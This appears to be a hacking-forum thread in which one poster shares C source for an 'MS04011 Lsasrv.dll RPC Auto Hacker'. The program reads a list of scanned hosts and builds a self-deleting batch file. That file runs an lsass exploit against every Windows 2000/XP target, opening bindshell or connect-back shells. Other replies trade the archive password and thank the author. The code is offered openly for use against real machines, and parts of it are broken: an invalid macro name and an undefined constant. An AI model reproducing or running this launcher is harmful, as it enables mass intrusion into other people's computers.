238 replies to this topic

[ScorpY]

great 1 dude tnx alot :] .. and can i get the password ? tnx

[Terminal]

Looks good dude . Can i get password for it?

Edit: I saw posts above got the pass thanks
pass : f44394tm$T%trgerg..,g4$FF

[EmPeRoR2003]

thanx man!

[clems[]

plz the password

nce tool

[prog]

Looks good dude . Can i get password for it?

Edit: I saw posts above got the pass thanks
pass : f44394tm$T%trgerg..,g4$FF

is the password

[Ecko]

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>


#define checked "checked.txt"
#define BUFSIZE 2000
#define MAXLEN 27
#define 2K "c:\\WINNT\\system32\\cmd.exe"


void usage(char *prog);
int dojob();

void strip(char *line)
{
char *c;

if ((c = strchr(line, '\n'))) *c = '\0';
if ((c = strchr(line, '\r'))) *c = '\0';
}



void usage(char *prog)
{
 
printf("Usage: %s [bindport] [ConnectBackIP]\n",prog);
printf("e.g..: %s 6667 127.0.0.1\n\n",prog);
printf("[] means not required\n");
exit(-1);

}

int dojob()
{
 FILE *check,*fp;
 char *run[3];
sleep(5);
printf("[*] Running Auto Hacker now\n");

if((check=fopen(XP,"r"))==NULL)
 {
   printf("cmd.exe not found\n");
 }

 if((fp=fopen("hack.bat","r+"))== NULL)
 {
  printf("[*] Either hack.bat is changed or you deleted it..\n");
  exit(-1);
 }

 fprintf(fp,"\r\ndel hack.bat");
 fclose(fp);


run[0]=malloc(32);
run[0]=XP;
strcpy(run[1],"/C hack.bat"); 
run[2]= 0;
execve(run[0],run,NULL);  



}

int main(int argc, char *argv[])
{
FILE *check,*fp,*n;
char line[BUFSIZE];
char *host;
char *run[5];
char *uu[BUFSIZE];
int pid;
int opt=0,op=0;

   
char intro[]=
"\n  ======================================\r\n"
" |                                      |\r\n"
" | MS04011 Lsasrv.dll RPC Auto Hacker   |\r\n"
" |  (c) 2004 by cyrex                   |\r\n"
" |       ENJOY!                         |\r\n"
"  \\__ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _  __/\r\n\n";

printf("%s",intro);

if(argc>3) { usage(argv[0]); }

if((argc>2) && !opt) 
{
op=1;
}

if((argc>1) && !opt) 
{
opt=1;
} else {
printf("[*] Using default bindshell port 666\n");

}

if((argc>1) && opt)
{
if(op)
  {
  }
if(!op) {    
printf("[*] Using bindshell port %s\n",argv[1]);
}
} 

if((argc>2) && op)
{
printf("[*] Using IP for connect Back %s port %s\n",argv[2],argv[1]);
}


if((check=fopen(checked,"r+")) == NULL) 
{
printf("Error() File not found (%s)\n",checked);
exit(-1);
}

printf("[*] Checking for (%s)...OK\n",checked);

if((n=fopen("lsass.exe","r")) == NULL)
{
printf("Error() File not found (lsass.exe)\n");
exit(-1);
}

printf("[*] Checking for (lsass.exe)...OK\n");

sleep(1);
printf("[*] Creating Auto Hacking File...\n");

while(!feof(check)){

memset(line, '\0', BUFSIZE);

fgets(line,sizeof(line),check);

line[11]='\0';
host = line+12;

strip(host);

strtok(host, " ");

//host++;


if(strstr(line,"5.1")) {

if((fp=fopen("hack.bat","a+"))== NULL)
 {
  printf("Cannot create batch file\n");
  exit(-1);
 }

if((argc>1) && opt)
{
if(op)
  {
 fprintf(fp,"lsass 0 %s %s %s\r\n",argv[1],host,argv[2]);
  }
if(!op) {    
fprintf(fp,"lsass 0 %s %s\r\n",argv[1],host);
}
} 

if(!opt) { 
fprintf(fp,"lsass 0 666 %s\r\n",host);
}

fclose(fp);

}

if(strstr(line,"5.0")) {

if((fp=fopen("hack.bat","a+"))== NULL)
 {
  printf("Cannot create batch file\n");
  exit(-1);
 }

if((argc>1) && opt)
{
if(op)
  {
 fprintf(fp,"lsass 1 %s %s %s\r\n",argv[1],host,argv[2]);
  }
if(!op) {    
fprintf(fp,"lsass 1 %s %s\r\n",argv[1],host);
}
} 

if(!opt) { 
fprintf(fp,"lsass 1 666 %s\r\n",host);
}

fclose(fp);

} 

}

printf("[*] Finished..\n");
printf("[*] Sleeping a while\n");
sleep(2);
dojob();

}

Now the version is for Win 2k without creating folders and copy cmd

[p3nGu1n]

looks nice, can't wait to test it out

[groove-monkey]

Very Curious now with all the positive results. Gonna test my net with this thx agathos.

[LilJon]

great job
can't wait to test

[Figo]

why not just do %windir% instead of harcoding :?

[Barvaz88]

hi, when i run the auto hacker it say: CMD.exe not found
or something like that, how can i fix it?
i run winxp with SP1

[jeroen]

thankz mate !

[zoulou]

Looks good dude . Can i get password for it?

[qwerty_tr]

thanks man good job